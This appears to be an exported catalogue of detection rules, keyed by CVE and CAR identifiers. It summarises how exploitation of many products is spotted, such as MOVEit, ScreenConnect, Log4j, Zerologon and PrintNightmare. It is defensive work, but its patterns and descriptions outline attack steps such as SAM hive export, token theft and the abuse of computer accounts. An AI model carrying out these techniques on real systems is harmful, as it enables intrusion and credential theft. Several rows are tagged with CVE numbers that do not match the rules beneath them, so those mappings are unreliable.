cve.2023_34362	3	Show Rules (3) Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity - Level: high Description: Detects file indicators of potential exploitation of MOVEit CVE-2023-34362. Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE - Level: medium Description: Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files. MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\\Windows\\Microsoft\.NET\\Framework64\\v4\.0\.30319\\Temporary ASP\.NET Files\\root\\([a-z0-9]{5,12})\\([a-z0-9]{5,12})\\App_Web_[a-z0-9]{5,12}\.dll. Hunting Opportunity Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated. MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request - Level: high Description: Detects get requests to specific files used during the exploitation of MOVEit CVE-2023-34362
cve.2023_36874	3	Show Rules (3) Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location - Level: medium Description: Detects the creation of a "Report.wer" file in an uncommon folder structure. This could be a sign of potential exploitation of CVE-2023-36874. Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation - Level: high Description: Detects the creation of a file named "wermgr.exe" being created in an uncommon directory. This could be a sign of potential exploitation of CVE-2023-36874. Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution - Level: high Description: Detects the execution of a renamed "cmd", "powershell" or "powershell_ise" binary. Attackers were seen using these binaries in a renamed form as "wermgr.exe" in exploitation of CVE-2023-36874
cve.2024_1709	3	Show Rules (3) ScreenConnect User Database Modification - Level: medium Description: Detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions. CVE-2024-1709 - ScreenConnect Authentication Bypass Exploitation - Level: critical Description: Detects GET requests to '/SetupWizard.aspx/[anythinghere]' that indicate exploitation of the ScreenConnect vulnerability CVE-2024-1709. ScreenConnect User Database Modification - Security - Level: medium Description: This detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.
cve.2021.21551	2	Show Rules (2) Vulnerable Dell BIOS Update Driver Load - Level: high Description: Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551 Vulnerable Lenovo Driver Load - Level: high Description: Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges
cve.2019_14287	2	Show Rules (2) Sudo Privilege Escalation CVE-2019-14287 - Builtin - Level: critical Description: Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287 Sudo Privilege Escalation CVE-2019-14287 - Level: high Description: Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287
cve.2022_33891	2	Show Rules (2) Apache Spark Shell Command Injection - ProcessCreation - Level: high Description: Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective Apache Spark Shell Command Injection - Weblogs - Level: high Description: Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective
car.2013_05_004	2	Show Rules (2) Remote Task Creation via ATSVC Named Pipe - Zeek - Level: medium Description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe Remote Task Creation via ATSVC Named Pipe - Level: medium Description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe
car.2015_04_001	2	Show Rules (2) Remote Task Creation via ATSVC Named Pipe - Zeek - Level: medium Description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe Remote Task Creation via ATSVC Named Pipe - Level: medium Description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe
cve.2021_42278	2	Show Rules (2) Win Susp Computer Name Containing Samtheadmin - Level: critical Description: Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool Potential CVE-2021-42278 Exploitation Attempt - Level: medium Description: The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.
cve.2021_42287	2	Show Rules (2) Win Susp Computer Name Containing Samtheadmin - Level: critical Description: Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool Suspicious Computer Account Name Change CVE-2021-42287 - Level: high Description: Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287
cve.2022_30190	2	Show Rules (2) File Creation In Suspicious Directory By Msdt.EXE - Level: high Description: Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE - Level: high Description: Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the "sdiageng.dll" library
car.2014_11_003	2	Show Rules (2) Sticky Key Like Backdoor Execution - Level: critical Description: Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen Sticky Key Like Backdoor Usage - Registry - Level: critical Description: Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen
car.2014_11_008	2	Show Rules (2) Sticky Key Like Backdoor Execution - Level: critical Description: Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen Sticky Key Like Backdoor Usage - Registry - Level: critical Description: Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen
cve.2022_41120	2	Show Rules (2) HackTool - SysmonEOP Execution - Level: critical Description: Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120 Suspicious Sysmon as Execution Parent - Level: high Description: Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)
car.2013_05_002	2	Show Rules (2) Suspicious Binary In User Directory Spawned From Office Application - Level: high Description: Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio) Suspicious Process Start Locations - Level: medium Description: Detects suspicious process run from unusual locations
cve.2021_35211	2	Show Rules (2) Suspicious Serv-U Process Pattern - Level: high Description: Detects a suspicious process pattern which could be a sign of an exploited Serv-U service Serv-U Exploitation CVE-2021-35211 by DEV-0322 - Level: critical Description: Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322
cve.2020_1472	2	Show Rules (2) Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC - Level: high Description: Detects the execution of the commonly used ZeroLogon PoC executable. Potential Zerologon (CVE-2020-1472) Exploitation - Level: high Description: Detects potential Netlogon Elevation of Privilege Vulnerability aka Zerologon (CVE-2020-1472)
cve.2020_1048	2	Show Rules (2) Suspicious PrinterPorts Creation (CVE-2020-1048) - Level: high Description: Detects new commands that add new printer port which point to suspicious file CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry - Level: high Description: Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability.
cve.2021_33771	2	Show Rules (2) CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum CVE-2021-31979 CVE-2021-33771 Exploits - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum
cve.2021_31979	2	Show Rules (2) CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum CVE-2021-31979 CVE-2021-33771 Exploits - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum
cve.2021_21978	2	Show Rules (2) CVE-2021-21978 Exploitation Attempt - Level: high Description: Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978 Exploitation of CVE-2021-26814 in Wazuh - Level: high Description: Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814
cve.2021_26858	2	Show Rules (2) CVE-2021-26858 Exchange Exploitation - Level: high Description: Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for creation of non-standard files on disk by Exchange Server’s Unified Messaging service which could indicate dropping web shells or other malicious content ProxyLogon Reset Virtual Directories Based On IIS Log - Level: critical Description: When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories
cve.2021_40444	2	Show Rules (2) Potential CVE-2021-40444 Exploitation Attempt - Level: high Description: Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations Potential Exploitation Attempt From Office Application - Level: high Description: Detects Office applications executing a child process that includes directory traversal patterns. This could be an attempt to exploit CVE-2022-30190 (MSDT RCE) or CVE-2021-40444 (MSHTML RCE)
cve.2021_40539	2	Show Rules (2) ADSelfService Exploitation - Level: high Description: Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539 CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit - Level: critical Description: Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).
cve.2021_44228	2	Show Rules (2) Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon - Level: high Description: Detects potential initial exploitation attempts against VMware Horizon deployments running a vulnerable versions of Log4j. Log4j RCE CVE-2021-44228 in Fields - Level: high Description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)
cve.2023_38331	2	Show Rules (2) CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File - Level: high Description: Detects the creation of a file with a double extension and a space by WinRAR. This could be a sign of exploitation of CVE-2023-38331 CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process - Level: high Description: Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries.
cve.2023_40477	2	Show Rules (2) CVE-2023-40477 Potential Exploitation - .REV File Creation - Level: low Description: Detects the creation of ".rev" files by WinRAR. Could be indicative of potential exploitation of CVE-2023-40477. Look for a suspicious execution shortly after creation or a WinRAR application crash. CVE-2023-40477 Potential Exploitation - WinRAR Application Crash - Level: medium Description: Detects a crash of "WinRAR.exe" where the version is lower than 6.23. This could indicate potential exploitation of CVE-2023-40477
cve.2023_43621	2	Show Rules (2) Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy - Level: high Description: Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in proxy logs. Potential Information Disclosure CVE-2023-43261 Exploitation - Web - Level: high Description: Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in access logs.
cve.2023_46214	2	Show Rules (2) Potential CVE-2023-46214 Exploitation Attempt - Level: medium Description: Detects potential exploitation of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing Exploitation Attempt Of CVE-2023-46214 Using Public POC Code - Level: high Description: Detects exploitation attempt of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing using known public proof of concept code
cve.2023_46747	2	Show Rules (2) CVE-2023-46747 Exploitation Activity - Proxy - Level: high Description: Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP. CVE-2023-46747 Exploitation Activity - Webserver - Level: high Description: Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.
cve.2024_1708	2	Show Rules (2) CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Level: medium Description: This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708. CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Security - Level: critical Description: This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.
cve.2024_3400	2	Show Rules (2) Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation - Level: medium Description: Detects suspicious file creations in the Palo Alto Networks PAN-OS' parent telemetry folder, which are processed by the vulnerable 'dt_curl' script if device telemetry is enabled. As said script overrides the shell-subprocess restriction, arbitrary command execution may occur by carefully crafting filenames that are escaped through this function. Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - Level: high Description: Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect. This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.
cve.2024_37085	2	Show Rules (2) Potential Exploitation of CVE-2024-37085 - Suspicious Creation Of ESX Admins Group - Level: high Description: Detects execution of the "net.exe" command in order to add a group named "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default. Potential Exploitation of CVE-2024-37085 - Suspicious ESX Admins Group Activity - Level: high Description: Detects any creation or modification to a windows domain group with the name "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default.
cve.2021.3156	2	Show Rules (2) CVE-2021-3156 Exploitation Attempt - Level: high Description: Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing required to trigger the heap-based buffer overflow. CVE-2021-3156 Exploitation Attempt Bruteforcing - Level: high Description: Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing. required to trigger the heap-based buffer overflow.
car.2019_04_002	1	Show Rules (1) Regsvr32 Anomaly - Level: high Description: Detects various anomalies in relation to regsvr32.exe
car.2019_04_003	1	Show Rules (1) Regsvr32 Anomaly - Level: high Description: Detects various anomalies in relation to regsvr32.exe
cve.2017_5638	1	Show Rules (1) Potential OGNL Injection Exploitation In JVM Based Application - Level: high Description: Detects potential OGNL Injection exploitation, which may lead to RCE. OGNL is an expression language that is supported in many JVM based systems. OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)
cve.2021_1678	1	Show Rules (1) Possible PrintNightmare Print Driver Install - Level: medium Description: Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.
car.2016_04_005	1	Show Rules (1) Admin User Remote Logon - Level: low Description: Detect remote login by Administrator user (depending on internal pattern).
stp.4u	1	Show Rules (1) Potential Access Token Abuse - Level: medium Description: Detects potential token impersonation and theft. Example, when using "DuplicateToken(Ex)" and "ImpersonateLoggedOnUser" with the "LOGON32_LOGON_NEW_CREDENTIALS flag".
cve.2021_21551	1	Show Rules (1) PUA - Process Hacker Driver Load - Level: high Description: Detects driver load of the Process Hacker tool
cve.2021_36934	1	Show Rules (1) HackTool - Typical HiveNightmare SAM File Export - Level: high Description: Detects files written by the different tools that exploit HiveNightmare
stp.1k	1	Show Rules (1) CobaltStrike Named Pipe Patterns - Level: high Description: Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles
stp.2a	1	Show Rules (1) Service Registry Permissions Weakness Check - Level: medium Description: Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services
cve.2023_21746	1	Show Rules (1) HackTool - LocalPotato Execution - Level: high Description: Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples
car.2013_02_003	1	Show Rules (1) Suspicious MSHTA Child Process - Level: high Description: Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution
car.2013_03_001	1	Show Rules (1) Suspicious MSHTA Child Process - Level: high Description: Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution
car.2014_04_003	1	Show Rules (1) Suspicious MSHTA Child Process - Level: high Description: Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution
cve.2020_1599	1	Show Rules (1) MSHTA Suspicious Execution 01 - Level: high Description: Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism
car.2013_01_002	1	Show Rules (1) Potential Persistence Via GlobalFlags - Level: high Description: Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys
cve.2014_6287	1	Show Rules (1) Rejetto HTTP File Server RCE - Level: high Description: Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287
cve.2010_5278	1	Show Rules (1) CVE-2010-5278 Exploitation Attempt - Level: critical Description: MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.
cve.2015_1641	1	Show Rules (1) Exploit for CVE-2015-1641 - Level: critical Description: Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641
cve.2017_0261	1	Show Rules (1) Exploit for CVE-2017-0261 - Level: medium Description: Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262
cve.2017_11882	1	Show Rules (1) Droppers Exploiting CVE-2017-11882 - Level: critical Description: Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe
cve.2017_8759	1	Show Rules (1) Exploit for CVE-2017-8759 - Level: critical Description: Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759
cve.2018_13379	1	Show Rules (1) Fortinet CVE-2018-13379 Exploitation - Level: critical Description: Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs
cve.2018_2894	1	Show Rules (1) Oracle WebLogic Exploit - Level: critical Description: Detects access to a webshell dropped into a keystore folder on the WebLogic server
car.2013_10_002	1	Show Rules (1) Sofacy Trojan Loader Activity - Level: high Description: Detects Trojan loader activity as used by APT28
cve.2019_11510	1	Show Rules (1) Pulse Secure Attack CVE-2019-11510 - Level: critical Description: Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole
cve.2019_1378	1	Show Rules (1) Exploiting SetupComplete.cmd CVE-2019-1378 - Level: high Description: Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378
cve.2019_19781	1	Show Rules (1) Citrix Netscaler Attack CVE-2019-19781 - Level: critical Description: Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack
cve.2019_1388	1	Show Rules (1) Exploiting CVE-2019-1388 - Level: critical Description: Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM
cve.2019_3398	1	Show Rules (1) Confluence Exploitation CVE-2019-3398 - Level: critical Description: Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398
cve.2020_10148	1	Show Rules (1) CVE-2020-10148 SolarWinds Orion API Auth Bypass - Level: critical Description: Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts
cve.2020_1350	1	Show Rules (1) DNS RCE CVE-2020-1350 - Level: critical Description: Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process
cve.2020_5902	1	Show Rules (1) CVE-2020-5902 F5 BIG-IP Exploitation Attempt - Level: critical Description: Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902
cve.2020_8193	1	Show Rules (1) Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195 - Level: critical Description: Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195
cve.2020_8195	1	Show Rules (1) Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195 - Level: critical Description: Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195
cve.2020_10189	1	Show Rules (1) Exploited CVE-2020-10189 Zoho ManageEngine - Level: high Description: Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189
cve.2020_28188	1	Show Rules (1) TerraMaster TOS CVE-2020-28188 - Level: high Description: Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188
cve.2020_3452	1	Show Rules (1) Cisco ASA FTD Exploit CVE-2020-3452 - Level: high Description: Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)
cve.2020_14882	1	Show Rules (1) Oracle WebLogic Exploit CVE-2020-14882 - Level: high Description: Detects exploitation attempts on WebLogic servers
cve.2021_20090	1	Show Rules (1) Arcadyan Router Exploitations - Level: critical Description: Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.
cve.2021_20091	1	Show Rules (1) Arcadyan Router Exploitations - Level: critical Description: Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.
cve.2021_2109	1	Show Rules (1) Oracle WebLogic Exploit CVE-2021-2109 - Level: critical Description: Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109
cve.2021_21972	1	Show Rules (1) CVE-2021-21972 VSphere Exploitation - Level: high Description: Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972
cve.2021_22005	1	Show Rules (1) VMware vCenter Server File Upload CVE-2021-22005 - Level: high Description: Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.
cve.2021_22123	1	Show Rules (1) Fortinet CVE-2021-22123 Exploitation - Level: critical Description: Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs
cve.2021_22893	1	Show Rules (1) Pulse Connect Secure RCE Attack CVE-2021-22893 - Level: high Description: This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)
cve.2021_26814	1	Show Rules (1) Exploitation of CVE-2021-26814 in Wazuh - Level: high Description: Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814
cve.2021_26857	1	Show Rules (1) Potential CVE-2021-26857 Exploitation Attempt - Level: high Description: Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for \| abnormal subprocesses spawning by Exchange Server's Unified Messaging service
cve.2021_27905	1	Show Rules (1) Potential CVE-2021-27905 Exploitation Attempt - Level: medium Description: Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.
cve.2021_28480	1	Show Rules (1) Exchange Exploitation CVE-2021-28480 - Level: critical Description: Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480
cve.2021_33766	1	Show Rules (1) CVE-2021-33766 Exchange ProxyToken Exploitation - Level: critical Description: Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766
cve.2021_41379	1	Show Rules (1) Potential CVE-2021-41379 Exploitation Attempt - Level: critical Description: Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a "cmd.exe" process as a child of Microsoft Edge elevation service "elevation_service" with "LOCAL_SYSTEM" rights
cve.2021_41773	1	Show Rules (1) CVE-2021-41773 Exploitation Attempt - Level: high Description: Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
cve.2021_42237	1	Show Rules (1) Sitecore Pre-Auth RCE CVE-2021-42237 - Level: high Description: Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx
cve.2021_43798	1	Show Rules (1) Grafana Path Traversal Exploitation CVE-2021-43798 - Level: critical Description: Detects a successful Grafana path traversal exploitation
cve.2021_44077	1	Show Rules (1) CVE-2021-44077 POC Default Dropped File - Level: high Description: Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)
cve.2023_21554	1	Show Rules (1) Potential CVE-2023-21554 QueueJumper Exploitation - Level: high Description: Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper)
cve.2022_21587	1	Show Rules (1) Potential CVE-2022-21587 Exploitation Attempt - Level: high Description: Detects potential exploitation attempts of CVE-2022-21587 an arbitrary file upload vulnerability impacting Oracle E-Business Suite (EBS). CVE-2022-21587 can lead to unauthenticated remote code execution.
cve.2022_22954	1	Show Rules (1) Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution - Level: medium Description: Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application.
cve.2022_24527	1	Show Rules (1) CVE-2022-24527 Microsoft Connected Cache LPE - Level: high Description: Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache
cve.2022_26809	1	Show Rules (1) Potential CVE-2022-26809 Exploitation Attempt - Level: high Description: Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)
cve.2022_27925	1	Show Rules (1) Zimbra Collaboration Suite Email Server Unauthenticated RCE - Level: medium Description: Detects an attempt to leverage the vulnerable servlet "mboximport" for an unauthenticated remote command injection
cve.2022_29072	1	Show Rules (1) Potential CVE-2022-29072 Exploitation Attempt - Level: high Description: Detects potential exploitation attempts of CVE-2022-29072, a 7-Zip privilege escalation and command execution vulnerability. 7-Zip version 21.07 and earlier on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.
cve.2022_31659	1	Show Rules (1) CVE-2022-31659 VMware Workspace ONE Access RCE - Level: medium Description: Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659
cve.2022_31656	1	Show Rules (1) CVE-2022-31656 VMware Workspace ONE Access Auth Bypass - Level: high Description: Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656 VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
cve.2022_36804	1	Show Rules (1) Atlassian Bitbucket Command Injection Via Archive API - Level: high Description: Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804
cve.2022_42475	1	Show Rules (1) Exploitation Indicator Of CVE-2022-42475 - Level: high Description: Detects exploitation indicators of CVE-2022-42475 a heap-based buffer overflow in sslvpnd.
cve.2022_44877	1	Show Rules (1) Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877 - Level: high Description: Detects potential exploitation attempts that target the Centos Web Panel 7 Unauthenticated Remote Code Execution CVE-2022-44877
cve.2022_46169	1	Show Rules (1) Potential CVE-2022-46169 Exploitation Attempt - Level: high Description: Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169
cve.2023_1389	1	Show Rules (1) CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21 - Level: medium Description: Detects potential exploitation attempt of CVE-2023-1389 an Unauthenticated Command Injection in TP-Link Archer AX21.
cve.2023_2283	1	Show Rules (1) Potential CVE-2023-2283 Exploitation - Level: medium Description: Detects potential exploitation attempt of CVE-2023-2283 an authentication bypass in libSSH. The exploitation method causes an error message stating that keys for curve25519 could not be generated. It is an error message that is a sign of an exploitation attempt. It is not a sign of a successful exploitation.
cve.2023_23752	1	Show Rules (1) Potential CVE-2023-23752 Exploitation Attempt - Level: high Description: Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla
cve.2023_25157	1	Show Rules (1) Potential CVE-2023-25157 Exploitation Attempt - Level: high Description: Detects a potential exploitation attempt of CVE-2023-25157 a SQL injection in GeoServer
cve.2023_25717	1	Show Rules (1) Potential CVE-2023-25717 Exploitation Attempt - Level: high Description: Detects a potential exploitation attempt of CVE-2023-25717 a Remote Code Execution via an unauthenticated HTTP GET Request, in Ruckus Wireless Admin
cve.2023_27363	1	Show Rules (1) Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader - Level: high Description: Detects suspicious ".hta" file creation in the startup folder by Foxit Reader. This can be an indication of CVE-2023-27363 exploitation.
